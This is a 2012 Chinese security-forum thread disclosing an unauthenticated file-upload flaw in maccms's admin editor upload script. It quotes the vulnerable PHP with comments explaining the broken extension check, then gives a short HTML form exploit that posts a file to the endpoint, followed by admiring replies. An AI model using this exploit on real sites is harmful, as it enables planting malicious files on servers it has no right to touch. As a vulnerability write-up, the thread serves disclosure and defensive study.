maccms鸡肋上传漏洞

本帖最后由 Cond0r 于 2012-3-10 19:29 编辑

一小程序,无意间看到的顺便就看了下

./admin/editor/upload.php


	require_once ("../admin_conn.php");
	$action=be("get","action");
	$ftypes=array('jpg','gif','bmp','png',".jpeg");
	$upfileDir= "../". $_SESSION["upfolder"] . "/" . getSavePicPath() . "/";
	$maxSize=1000;
	if(!file_exists($upfileDir)){
		mkdir($upfileDir);
	}
	foreach($_FILES as $FILEa){
		if(!in_array(substr($FILEa['name'],-3,3),$ftypes))
			$errm = "文件格式不正确1 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"; //只是将消息存入一个变量 并没有showmsg and exit...
		if($FILEa['size']> $maxSize*1024)
			$errm = "文件大小超过了限制 [ <a onclick=history.go(-1)>重新上传</a> ]";
		if($FILEa['error'] !=0)
			$errm = "未知错误";
		
		$targetDir= "../". $_SESSION["upfolder"] . "/" . getSavePicPath() . "/"; //没有登录 so session=null...
		$targetFile=date('Ymd').time().substr($FILEa['name'],-4,4);
		$realFile=$targetDir.$targetFile;
		
		if(function_exists('move_uploaded_file')){
			move_uploaded_file($FILEa['tmp_name'],$realFile); //移动上传文件
			if(app_watermark==1){
				imageWaterMark($targetDir.$targetFile,app_waterlocation,app_waterfont); 
			}
			if($action=="xht"){
				echo "{'err':'".$errm."','msg':'".app_installdir. replaceStr($upfileDir,"../../","").$targetFile."'}";
			}
			else{ //现在才die是不是迟了点?
				die("<script>parent.document.getElementById('pic').value='".replaceStr($upfileDir,"../../","").$targetFile."'</script>");
			}
		}
		else{
			@copy($FILEa['tmp_name'],$realFile); //同上
			if(app_watermark==1){
				imageWaterMark($targetDir.$targetFile,app_waterlocation,app_waterfont);
			}
			if($action=="xht"){
				echo "{'err':'".$errm."','msg':'".app_installdir. replaceStr($upfileDir,"../../","").$targetFile."'}";
			}
			else{
				die("<script>parent.document.getElementById('pic').value='".replaceStr($upfileDir,"../../","").$targetFile."'</script>");
			}
		}
	}


为什么说他鸡肋呢,应为./admin/index.php



  if(cururl.indexOf("/admin/") >0){alert('请将文件夹admin改名,避免被黑客入侵攻击');}

so,我搜了下 大多数 (90%++)都修改了后台地址所以是鸡肋之处

exp

[code="xhtml"]
<body leftmargin=0 topmargin=0 style="font-size:11px">
<form name="form" enctype="multipart/form-data" action="http://127.0.0.1/www/mcms/admin/editor/upload.php" method="post">
<input type=file name=file1>
<input type=submit name=submit value="上传">
</form>

上传之后直接查看源文件。。

多谢分享~

貌似还是不错的,支持个。。

**回复 1# Cond0r **

大牛也来90sec了..看来t00ls没个半年是开不了了的

**回复 4# 毅心毅意 **

{:4_28:} 我也不知道啥时候开。。

膜拜大牛啊 据说Helen都是你徒弟啊 ???? 能收了我不 给个联系方式呗

同求收留, 膜拜你很久了

我擦, 谁用我马甲。。。

虽然看不懂你在写啥,但是感觉很牛逼的样子。
收徒么?